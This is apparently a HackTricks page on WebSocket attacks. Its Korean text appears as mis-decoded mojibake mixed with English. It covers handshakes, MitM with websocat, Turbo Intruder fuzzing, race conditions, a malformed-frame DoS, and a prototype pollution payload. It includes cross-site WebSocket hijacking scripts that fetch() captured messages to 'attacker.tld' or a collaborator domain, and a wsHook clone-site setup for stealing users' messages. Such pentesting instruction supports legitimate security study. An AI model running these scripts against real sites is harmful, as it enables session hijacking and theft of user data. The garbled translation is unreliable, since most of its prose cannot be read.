WebSocket ๊ณต๊ฒฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
WebSocket์ด๋
WebSocket ์ฐ๊ฒฐ์ ์ด๊ธฐ HTTP ํธ๋์ ฐ์ดํฌ๋ฅผ ํตํด ์๋ฆฝ๋๋ฉฐ ์ฅ๊ธฐ ์ ์ง๋๋๋ก ์ค๊ณ๋์ด ํธ๋์ญ์ ์์คํ ์์ด ์ธ์ ๋ ์๋ฐฉํฅ ๋ฉ์์ง์ด ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ก ์ธํด WebSocket์ ์ ์ง์ฐ ๋๋ ์๋ฒ-๋ฐ์ ํต์ ์ ํ์๋ก ํ๋ ์ ํ๋ฆฌ์ผ์ด์ (์: ์ค์๊ฐ ๊ธ์ต ๋ฐ์ดํฐ ์คํธ๋ฆผ)์ ํนํ ์ ๋ฆฌํฉ๋๋ค.
WebSocket ์ฐ๊ฒฐ ์ค์
A detailed explanation on establishing WebSocket connections can be accessed here. ์์ฝํ๋ฉด, WebSocket ์ฐ๊ฒฐ์ ๋ณดํต ์๋์ ๊ฐ์ด ํด๋ผ์ด์ธํธ ์ธก JavaScript๋ก ์์๋ฉ๋๋ค:
var ws = new WebSocket("wss://normal-website.com/ws")
The wss ํ๋กํ ์ฝ์ TLS๋ก ๋ณดํธ๋ WebSocket ์ฐ๊ฒฐ์ ์๋ฏธํ๊ณ , ws๋ ๋ณด์๋์ง ์์ ์ฐ๊ฒฐ์ ๋ํ๋
๋๋ค.
์ฐ๊ฒฐ ์๋ฆฝ ๊ณผ์ ์์, ๋ธ๋ผ์ฐ์ ์ ์๋ฒ๋ HTTP๋ฅผ ํตํด handshake๋ฅผ ์ํํฉ๋๋ค. handshake ๊ณผ์ ์ ๋ธ๋ผ์ฐ์ ๊ฐ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ฒ๊ฐ ์๋ตํ๋ ์ ์ฐจ๋ก ์ด๋ฃจ์ด์ง๋ฉฐ, ๋ค์ ์์ ์ ํ์๋์ด ์์ต๋๋ค:
๋ธ๋ผ์ฐ์ ๊ฐ handshake ์์ฒญ์ ๋ณด๋:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
์๋ฒ์ handshake ์๋ต:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
์ฐ๊ฒฐ์ด ์ค์ ๋๋ฉด ์๋ฐฉํฅ์ผ๋ก ๋ฉ์์ง๋ฅผ ์ฃผ๊ณ ๋ฐ๊ธฐ ์ํด ์ฐ๊ฒฐ์ ์ด๋ฆฐ ์ํ๋ก ์ ์ง๋ฉ๋๋ค.
WebSocket ํธ๋์ ฐ์ดํฌ์ ํต์ฌ ํฌ์ธํธ:
Connection๋ฐUpgradeํค๋๋ WebSocket ํธ๋์ ฐ์ดํฌ์ ์์์ ์๋ฆฝ๋๋ค.Sec-WebSocket-Versionํค๋๋ ์ํ๋ WebSocket ํ๋กํ ์ฝ ๋ฒ์ ์ ๋ํ๋ด๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก13์ ๋๋ค.- Base64๋ก ์ธ์ฝ๋ฉ๋ ๋๋ค ๊ฐ์ด
Sec-WebSocket-Keyํค๋์ ์ ์ก๋์ด ๊ฐ ํธ๋์ ฐ์ดํฌ๊ฐ ๊ณ ์ ํ๊ฒ ๋๋ฉฐ, ์ด๋ ์บ์ฑ ํ๋ก์์ ๊ด๋ จ๋ ๋ฌธ์ ๋ฅผ ๋ฐฉ์งํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. ์ด ๊ฐ์ ์ธ์ฆ์ฉ์ด ์๋๋ผ ์๋ต์ด ์๋ชป ๊ตฌ์ฑ๋ ์๋ฒ๋ ์บ์์์ ์์ฑ๋์ง ์์์์ ํ์ธํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค. - ์๋ฒ ์๋ต์
Sec-WebSocket-Acceptํค๋๋Sec-WebSocket-Key์ ํด์๋ก, ์๋ฒ๊ฐ WebSocket ์ฐ๊ฒฐ์ ์ด ์๋๊ฐ ์์์ ๊ฒ์ฆํฉ๋๋ค.
์ด๋ฌํ ๊ธฐ๋ฅ์ ํธ๋์ ฐ์ดํฌ ๊ณผ์ ์ ์์ ํ๊ณ ์ ๋ขฐํ ์ ์๊ฒ ํ์ฌ ํจ์จ์ ์ธ ์ค์๊ฐ ํต์ ์ ๊ธฐ๋ฐ์ ๋ง๋ จํฉ๋๋ค.
Linux ์ฝ์
websocat์ ์ฌ์ฉํ์ฌ WebSocket๊ณผ์ raw ์ฐ๊ฒฐ์ ์๋ฆฝํ ์ ์์ต๋๋ค.
websocat --insecure wss://10.10.10.10:8000 -v
๋๋ websocat ์๋ฒ๋ฅผ ์์ฑํ๋ ค๋ฉด:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket ์ฐ๊ฒฐ
ํ์ฌ ๋ก์ปฌ ๋คํธ์ํฌ์์ clients๊ฐ HTTP websocket์ ์ฐ๊ฒฐ๋์ด ์๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด, ARP Spoofing Attack ์ ์๋ํ์ฌ client์ server ์ฌ์ด์์ MitM attack์ ์ํํ ์ ์์ต๋๋ค.
client๊ฐ ๋น์ ์๊ฒ ์ฐ๊ฒฐ์ ์๋ํ ๋ ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets enumeration
You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically. ๋ค์ ๋๊ตฌ https://github.com/PalindromeLabs/STEWS๋ฅผ ์ฌ์ฉํ๋ฉด websockets์์ ์๋ ค์ง ์ทจ์ฝ์ ์ ์๋์ผ๋ก ๋ฐ๊ฒฌํ๊ณ , fingerprint๋ฅผ ์์ฑํ๋ฉฐ ๊ฒ์ํ ์ ์์ต๋๋ค.
Websocket Debug tools
- Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
- Burp Suite๋ ์ผ๋ฐ HTTP ํต์ ๊ณผ ๊ฑฐ์ ๋์ผํ ๋ฐฉ์์ผ๋ก MitM websockets ํต์ ์ ์ง์ํฉ๋๋ค.
- The socketsleuth Burp Suite extension will allow you to manage better Websocket communications in Burp by getting the history, setting interception rules, using match and replace rules, using Intruder and AutoRepeater.
- socketsleuth Burp Suite extension๋ history ์กฐํ, interception rules ์ค์ , match and replace ๊ท์น ์ฌ์ฉ, Intruder ๋ฐ AutoRepeater ์ฌ์ฉ ๋ฑ์ผ๋ก Burp์์ Websocket ํต์ ์ ๋ ์ ๊ด๋ฆฌํ ์ ์๊ฒ ํด์ค๋๋ค.
- WSSiP: Short for โWebSocket/Socket.io Proxyโ, this tool, written in Node.js, provides a user interface to capture, intercept, send custom messages and view all WebSocket and Socket.IO communications between the client and server.
- WSSiP: ์ฝ์นญ โWebSocket/Socket.io Proxyโ์ธ ์ด ๋๊ตฌ๋ Node.js๋ก ์์ฑ๋์์ผ๋ฉฐ ํด๋ผ์ด์ธํธ์ ์๋ฒ ๊ฐ์ ๋ชจ๋ WebSocket ๋ฐ Socket.IO ํต์ ์ ์บก์ฒ, ์ธํฐ์ ํธ, ์ฌ์ฉ์ ์ ์ ๋ฉ์์ง ์ ์กํ๊ณ ๋ณผ ์ ์๋ ์ฌ์ฉ์ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํฉ๋๋ค.
- wsrepl is an interactive websocket REPL designed specifically for penetration testing. It provides an interface for observing incoming websocket messages and sending new ones, with an easy-to-use framework for automating this communication.
- wsrepl๋ penetration testing์ ์ํด ํน๋ณํ ์ค๊ณ๋ interactive websocket REPL์ ๋๋ค. ์ด ๋๊ตฌ๋ incoming websocket messages and sending new ones๋ฅผ ๊ด์ฐฐํ๊ณ ์ ์กํ ์ ์๋ ์ธํฐํ์ด์ค์ ์ด๋ฌํ ํต์ ์ ์๋ํํ๊ธฐ ์ํ ์ฌ์ฉํ๊ธฐ ์ฌ์ด ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค.
- https://websocketking.com/ itโs a web to communicate with other webs using websockets.
- https://websocketking.com/๋ websockets๋ฅผ ์ฌ์ฉํด ๋ค๋ฅธ ์น๊ณผ ํต์ ํ ์ ์๋ ์น ์ธํฐํ์ด์ค์ ๋๋ค.
- https://hoppscotch.io/realtime/websocket among other types of communications/protocols, it provides a web to communicate with other webs using websockets.
- https://hoppscotch.io/realtime/websocket๋ ์ฌ๋ฌ ํต์ /ํ๋กํ ์ฝ ์ ํ ์ค ํ๋๋ก websockets๋ฅผ ์ฌ์ฉํด ๋ค๋ฅธ ์น๊ณผ ํต์ ํ ์ ์๋ ์น ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํฉ๋๋ค.
Decrypting Websocket
Websocket Lab
In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation. Burp-Suite-Extender-Montoya-Course์๋ websockets๋ฅผ ์ฌ์ฉํ๋ ์น์ ์คํํ๋ ์ฝ๋๊ฐ ํฌํจ๋์ด ์์ผ๋ฉฐ, this post์์ ์ค๋ช ์ ํ์ธํ ์ ์์ต๋๋ค.
Websocket Fuzzing
The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here. Burp ํ์ฅ Backslash Powered Scanner๋ ์ด์ WebSocket ๋ฉ์์ง๋ fuzzํ ์ ์๊ฒ ํด์ค๋๋ค. ์์ธํ ๋ด์ฉ์ here์์ ์ฝ์ ์ ์์ต๋๋ค.
WebSocket Turbo Intruder (Burp extension)
PortSwiggerโs WebSocket Turbo Intruder brings Turbo Intruderโstyle Python scripting and highโrate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components: PortSwigger์ WebSocket Turbo Intruder๋ Turbo Intruder ์คํ์ผ์ Python ์คํฌ๋ฆฝํ ๊ณผ ๊ณ ์ fuzzing์ WebSockets์ ์ ๊ณตํฉ๋๋ค. BApp Store ๋๋ ์์ค์์ ์ค์นํ ์ ์์ต๋๋ค. ๊ตฌ์ฑ ์์๋ ๋ค์ ๋ ๊ฐ์ง์ ๋๋ค:
- Turbo Intruder: highโvolume messaging to a single WS endpoint using custom engines.
- Turbo Intruder: custom engines๋ฅผ ์ฌ์ฉํด ๋จ์ผ WS endpoint์ ๋ํด ๋๋ ๋ฉ์์ง๋ฅผ ์ ์กํฉ๋๋ค.
- HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTPโbased scanner can probe WS backends.
- HTTP Middleware: ๋ก์ปฌ HTTP endpoint๋ฅผ ๋ ธ์ถํ์ฌ ๋ฐ๋๋ฅผ ์ง์ ์ฐ๊ฒฐ์ ํตํ WS ๋ฉ์์ง๋ก ์ ๋ฌํ๋ฏ๋ก, ๋ชจ๋ HTTP ๊ธฐ๋ฐ ์ค์บ๋๊ฐ WS ๋ฐฑ์๋๋ฅผ ํ์ํ ์ ์๊ฒ ํฉ๋๋ค.
Basic script pattern to fuzz a WS endpoint and filter relevant responses: WS endpoint๋ฅผ fuzzํ๊ณ ๊ด๋ จ ์๋ต์ ํํฐ๋งํ๊ธฐ ์ํ ๊ธฐ๋ณธ ์คํฌ๋ฆฝํธ ํจํด:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
๋จ์ผ ๋ฉ์์ง๊ฐ ์ฌ๋ฌ ์๋ต์ ์ ๋ฐํ ๋ ๋
ธ์ด์ฆ๋ฅผ ์ค์ด๊ธฐ ์ํด @MatchRegex(...) ๊ฐ์ ๋ฐ์ฝ๋ ์ดํฐ๋ฅผ ์ฌ์ฉํ์ธ์.
HTTP ๋ค์ ์๋ WS ๋ธ๋ฆฌ์ง (HTTP Middleware)
์ง์์ ์ธ WS ์ฐ๊ฒฐ์ ๋ํํ๊ณ HTTP bodies๋ฅผ WS messages๋ก ์ ๋ฌํ์ฌ HTTP scanners๋ก ์๋ํ๋ ํ ์คํธ๋ฅผ ์ํํฉ๋๋ค:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
๊ทธ๋ฐ ๋ค์ ๋ก์ปฌ๋ก HTTP๋ฅผ ์ ์กํฉ๋๋ค; ๋ณธ๋ฌธ์ WS ๋ฉ์์ง๋ก ์ ๋ฌ๋ฉ๋๋ค:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
์ด๋ฅผ ํตํด WS ๋ฐฑ์๋๋ฅผ ์ ์ดํ๋ฉด์ โํฅ๋ฏธ๋ก์ดโ ์ด๋ฒคํธ(์: SQLi ์ค๋ฅ, auth bypass, command injection ๋์)๋ฅผ ํํฐ๋งํ ์ ์์ต๋๋ค.
Socket.IO ์ฒ๋ฆฌ (ํธ๋์ ฐ์ดํฌ, ํํธ๋นํธ, ์ด๋ฒคํธ)
Socket.IO๋ WS ์์ ์์ฒด ํ๋ ์ด๋ฐ์ ์ถ๊ฐํฉ๋๋ค. ํ์ ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์ EIO(์: EIO=4)๋ก ์ด๋ฅผ ๊ฐ์งํฉ๋๋ค. Ping (2)์ Pong (3)์ผ๋ก ์ธ์
์ ์ ์งํ๊ณ , "40"์ผ๋ก ๋ํ๋ฅผ ์์ํ ๋ค์ 42["message","hello"]์ ๊ฐ์ ์ด๋ฒคํธ๋ฅผ ์ ์กํฉ๋๋ค.
Intruder example:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP ์ด๋ํฐ ๋ณํ:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
์๋ฒ์ธก prototype pollution์ Socket.IO๋ก ํ์งํ๊ธฐ
PortSwigger์ ์์ ํ ํ์ง ๊ธฐ๋ฒ์ ๋ฐ๋ผ, ๋ค์๊ณผ ๊ฐ์ payload๋ฅผ ์ ์กํด Express ๋ด๋ถ๋ฅผ ์ค์ผ์์ผ ๋ณด์ธ์:
{"__proto__":{"initialPacket":"Polluted"}}
๋ง์ฝ greetings๋ ๋์์ด ๋ณ๊ฒฝ๋๋ค๋ฉด(์: echo์ โPollutedโ๊ฐ ํฌํจ๋จ), ์๋ฒ์ธก ํ๋กํ ํ์ ์ ์ค์ผ์ํจ ๊ฒ์ผ ๊ฐ๋ฅ์ฑ์ด ๋๋ค. ์ํฅ์ ์ ๊ทผ ๊ฐ๋ฅํ sinks์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฏ๋ก, Node.js prototype pollution ์น์ ์ gadgets์ ์ฐ๊ด์ง์ด ํ์ธํ๋ผ. ์ฐธ๊ณ :
- Check NodeJS โ proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
๊ธฐ๋ณธ ์์ง์ ๋จ์ผ ์ฐ๊ฒฐ์์ ๋ฉ์์ง๋ฅผ ๋ฐฐ์น ์ฒ๋ฆฌํ๋ค(์ฒ๋ฆฌ๋์ ์ข์ง๋ง race์๋ ๋ถ์ ํฉ). THREADED ์์ง์ ์ฌ์ฉํด ์ฌ๋ฌ WS ์ฐ๊ฒฐ์ ์์ฑํ๊ณ payload๋ฅผ ๋ณ๋ ฌ๋ก ์ ์กํ์ฌ logic races(doubleโspend, token reuse, state desync)๋ฅผ ์ ๋ฐํ๋ผ. ์์ ์คํฌ๋ฆฝํธ์์ ์์ํด config()์์ ๋์์ฑ(concurrency)์ ์กฐ์ ํ๋ผ.
- Learn methodology and alternatives in Race Condition (see โRC in WebSocketsโ).
WebSocket DoS: malformed frame โPing of Deathโ
ํค๋์ ๊ฑฐ๋ํ payload ๊ธธ์ด๋ฅผ ์ ์ธํ์ง๋ง ๋ณธ๋ฌธ์ ์ ์กํ์ง ์๋ WS ํ๋ ์์ ๋ง๋ค์ด๋ผ. ์ผ๋ถ WS ์๋ฒ๋ ๊ธธ์ด๋ฅผ ์ ๋ขฐํ๊ณ ๋ฒํผ๋ฅผ ๋ฏธ๋ฆฌ ํ ๋นํ๋ฏ๋ก Integer.MAX_VALUE ๊ทผ์ฒ๋ก ์ค์ ํ๋ฉด OutโOfโMemory๋ฅผ ์ ๋ฐํด ์๊ฒฉ ๋น์ธ๊ฐ DoS๋ฅผ ์ด๋ํ ์ ์๋ค. ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฐธ๊ณ ํ๋ผ.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - WS Logger๋ฅผ ํ์ฑํํด ๋ฉ์์ง๋ฅผ ์บก์ฒํ๊ณ ๋ด๋ถ ID๋ก ์๊ด๊ด๊ณ ๋ถ์์ ํ๋ผ.
- ๋ณต์กํ ์ด๋ํฐ์์ ๋ฉ์์ง ID ์ฒ๋ฆฌ ํ๋์ ์ํด
Connection์inc*/dec*ํฌํผ๋ฅผ ์ฌ์ฉํ๋ผ. @PingPong/@Pong๊ฐ์ ๋ฐ์ฝ๋ ์ดํฐ์isInteresting()๊ฐ์ ํฌํผ๋ ์ก์์ ์ค์ด๊ณ ์ธ์ ์ ์ ์งํ๋ ๋ฐ ๋์๋๋ค.
Operational safety
๊ณ ์ WS fuzzing์ ๋ค์์ ์ฐ๊ฒฐ์ ์ด๊ณ ์ด๋น ์์ฒ ๊ฐ์ ๋ฉ์์ง๋ฅผ ์ ์กํ ์ ์๋ค. ์๋ชป๋ ํ๋ ์์ด๋ ๋์ ์ ์ก๋ฅ ์ ์ค์ DoS๋ฅผ ์ ๋ฐํ ์ ์๋ค. ํ๊ฐ๋ ํ๊ฒฝ์์๋ง ์ฌ์ฉํ๋ผ.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking,๋ WebSocket ํธ๋์ ฐ์ดํฌ์ ์ํฅ์ ์ฃผ๋ **Cross-Site Request Forgery (CSRF)**์ ํน์ ์ฌ๋ก๋ก ์๋ณ๋๋ค. ์ด ์ทจ์ฝ์ ์ WebSocket ํธ๋์ ฐ์ดํฌ๊ฐ HTTP cookies๋ง์ผ๋ก ์ธ์ฆ๋๊ณ CSRF tokens๋ ์ ์ฌํ ๋ณด์ ์กฐ์น๊ฐ ์์ ๋ ๋ฐ์ํ๋ค.
๊ณต๊ฒฉ์๋ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํด cross-site WebSocket ์ฐ๊ฒฐ์ ์์ํ๋ malicious web page๋ฅผ ํธ์คํ ํด ์ด๋ฅผ ์ ์ฉํ ์ ์๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ์ด ์ฐ๊ฒฐ์ ํผํด์์ ์ธ์ ์ผ๋ถ๋ก ์ทจ๊ธ๋๋ฉฐ, ์ธ์ ์ฒ๋ฆฌ ๋ฉ์ปค๋์ฆ์ CSRF ๋ณดํธ๊ฐ ์์์ ์ ์ฉํ๊ฒ ๋๋ค.
์ด ๊ณต๊ฒฉ์ด ์ฑ๊ณตํ๋ ค๋ฉด ๋ค์ ์๊ฑด์ด ํ์ํ๋ค:
- websocket ์ธ์ฆ์ cookie ๊ธฐ๋ฐ์ด์ด์ผ ํ๋ค.
- ํด๋น cookie๋ ๊ณต๊ฒฉ์ ์๋ฒ์์ ์ ๊ทผ ๊ฐ๋ฅํด์ผ ํ๋ค(๋ณดํต
SameSite=None)์ด๋ฉฐ Firefox์์ Firefox Total Cookie Protection์ด ํ์ฑํ๋์ด ์์ง ์์์ผ ํ๊ณ Chrome์์ blocked third-party cookies๊ฐ ์ฐจ๋จ๋์ด ์์ง ์์์ผ ํ๋ค. - websocket ์๋ฒ๊ฐ ์ฐ๊ฒฐ์ Origin์ ๊ฒ์ฌํ์ง ์๊ฑฐ๋(ํน์ ์ฐํ ๊ฐ๋ฅํด์ผ ํ๋ค)
๋ํ:
- ์ธ์ฆ์ด ๋ก์ปฌ ์ฐ๊ฒฐ(์: localhost ๋๋ ๋ก์ปฌ ๋คํธ์ํฌ)์ ๊ธฐ๋ฐํ ๊ฒฝ์ฐ, ํ์ฌ ์ด๋ฅผ ๊ธ์งํ๋ ๋ณดํธ ์๋จ์ด ์์ผ๋ฏ๋ก ๊ณต๊ฒฉ์ ๊ฐ๋ฅํ๋ค (check more info here)
Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
Gorilla WebSocket ์๋ฒ์์ CheckOrigin์ ํญ์ **return true**๋ก ์ค์ ํ๋ฉด ๋ชจ๋ Origin์ ํธ๋์
ฐ์ดํฌ๋ฅผ ์๋ฝํ๋ค. WS ์๋ํฌ์ธํธ๊ฐ ๋ํ lacks authenticationํ ๊ฒฝ์ฐ, ํผํด์ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ ๋ชจ๋ ํ์ด์ง(์ธํฐ๋ท ๋๋ ์ธํธ๋ผ๋ท)๋ ์์ผ์ ์
๊ทธ๋ ์ด๋ํด ๊ต์ฐจ ์ฌ์ดํธ๋ก ๋ฉ์์ง๋ฅผ ์ฝ๊ณ ์ ์กํ ์ ์๋ค.
<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>
์ํฅ: any Origin๊ฐ ํ์ฉ๋๊ณ ์๋ํฌ์ธํธ๊ฐ ์ธ์ฆ์ ๊ฑด๋๋ธ ๋ ์ฌ์ฉ์ ์๊ฒฉ์ฆ๋ช
์์ด ์คํธ๋ฆฌ๋ฐ๋ ๋ฐ์ดํฐ(์: ์บก์ฒ๋ ์ด๋ฉ์ผ/์๋ฆผ)์ ์ค์๊ฐ exfiltration.
๊ฐ๋จํ ๊ณต๊ฒฉ
์ฐธ๊ณ ๋ก ์ฐ๊ฒฐ์ ์ค์ ํ ๋ websocket ์ฐ๊ฒฐ์ cookie๊ฐ ์ ์ก๋์ด server๋ก ๋ณด๋ด์ง๋๋ค. server๋ ์ ์ก๋ cookie๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ฐ ํน์ ์ฌ์ฉ์๋ฅผ ๊ทธ์ websocket session๊ณผ **์ฐ๊ฒฐ(relate)**ํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, msg๋ก โREADYโ๊ฐ ์ ์ก๋๋ฉด websocket server๊ฐ ํด๋น ์ฌ์ฉ์์ ๋ํ ๊ธฐ๋ก์ sends back the history of the conversationํ๋ค๊ณ ๊ฐ์ ํ๋ฉด, ์ฐ๊ฒฐ์ ์์ฑํ๋ simple XSS(ํผํด์ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ๊ธฐ ์ํด cookie๊ฐ ์๋์ผ๋ก sent๋จ)๋ฅผ ํตํด โREADYโ๋ฅผ ์ ์กํ๋ฉด ๋ํ ๊ธฐ๋ก์ retrieveํ ์ ์์ต๋๋ค.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
๋ค๋ฅธ subdomain์์์ Cross Origin + Cookie
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/์์ ๊ณต๊ฒฉ์๋ ์น ์์ผ ํต์ ์ด ์ด๋ฃจ์ด์ง๋ ๋๋ฉ์ธ์ ํ subdomain์์ ์์์ Javascript๋ฅผ ์คํํ ์ ์์์ต๋๋ค. subdomain์ด์๊ธฐ ๋๋ฌธ์ cookie๊ฐ ์ ์ก๋์๊ณ , ๋ํ Websocket์ด Origin์ ์ ๋๋ก ๊ฒ์ฌํ์ง ์์๋ค๋ ์ ๋๋ฌธ์ ํด๋น Websocket๊ณผ ํต์ ํ์ฌ tokens๋ฅผ ํ์ทจํ ์ ์์์ต๋๋ค.
์ฌ์ฉ์ ๋ฐ์ดํฐ ํ์ทจ
์ฌ์นญํ๋ ค๋ ์น ์ ํ๋ฆฌ์ผ์ด์ (์: .html ํ์ผ๋ค)์ ๋ณต์ฌํ ๋ค, websocket ํต์ ์ด ๋ฐ์ํ๋ ์คํฌ๋ฆฝํธ ์์ ๋ค์ ์ฝ๋๋ฅผ ์ถ๊ฐํ์ธ์:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
์ง๊ธ https://github.com/skepticfx/wshook์์ wsHook.js ํ์ผ์ ๋ค์ด๋ก๋ํ๊ณ ์น ํ์ผ์ด ์๋ ํด๋ ์์ ์ ์ฅํ์ธ์.
์น ์ ํ๋ฆฌ์ผ์ด์
์ ๋
ธ์ถ์ํค๊ณ ์ฌ์ฉ์๊ฐ ์ฐ๊ฒฐํ๊ฒ ๋ง๋ค๋ฉด websocket์ ํตํด ์ฃผ๊ณ ๋ฐ๋ ๋ฉ์์ง๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค:
sudo python3 -m http.server 80
CSWSH ๋ณดํธ
CSWSH ๊ณต๊ฒฉ์ ์ฌ์ฉ์๊ฐ ์ ์ฑ ํ์ด์ง์ ์ ์ํ๊ณ , ๊ทธ ํ์ด์ง๊ฐ ์ฌ์ฉ์๊ฐ ์ด๋ฏธ ์ฐ๊ฒฐ๋ ์น ํ์ด์ง๋ก websocket connection์ ์ด์ด ์์ฒญ์ด ์ฌ์ฉ์์ cookies๋ฅผ ์ ์กํ๋ฉด์ ์ฌ์ฉ์๋ฅผ ๋์ ํด ์ธ์ฆํ๊ฒ ๋๋ ์ ์ ์ ์ฉํ๋ค.
์์ฆ์๋ ์ด ๋ฌธ์ ๋ฅผ ๋ฐฉ์งํ๊ธฐ๊ฐ ๋งค์ฐ ์ฝ๋ค:
- Websocket server checking the origin: websocket server๋ ์์์น ๋ชปํ ํ์ด์ง๊ฐ ์ ์ํ์ง ๋ชปํ๋๋ก ํญ์ ์ฌ์ฉ์๊ฐ ์ด๋์์ ์ฐ๊ฒฐํ๋์ง(Origin)๋ฅผ ํ์ธํด์ผ ํ๋ค.
- Authentication token: ์ธ์ฆ์ cookie์ ๊ธฐ๋ฐํ์ง ์๊ณ , websocket ์ฐ๊ฒฐ์ ๊ณต๊ฒฉ์๊ฐ ๋ชจ๋ฅด๋ ์๋ฒ๊ฐ ์ฌ์ฉ์์๊ฒ ๋ฐ๊ธํ ํ ํฐ(์: anti-CSRF token)์ ๊ธฐ๋ฐํ๋๋ก ํ ์ ์๋ค.
- SameSite Cookie attribute:
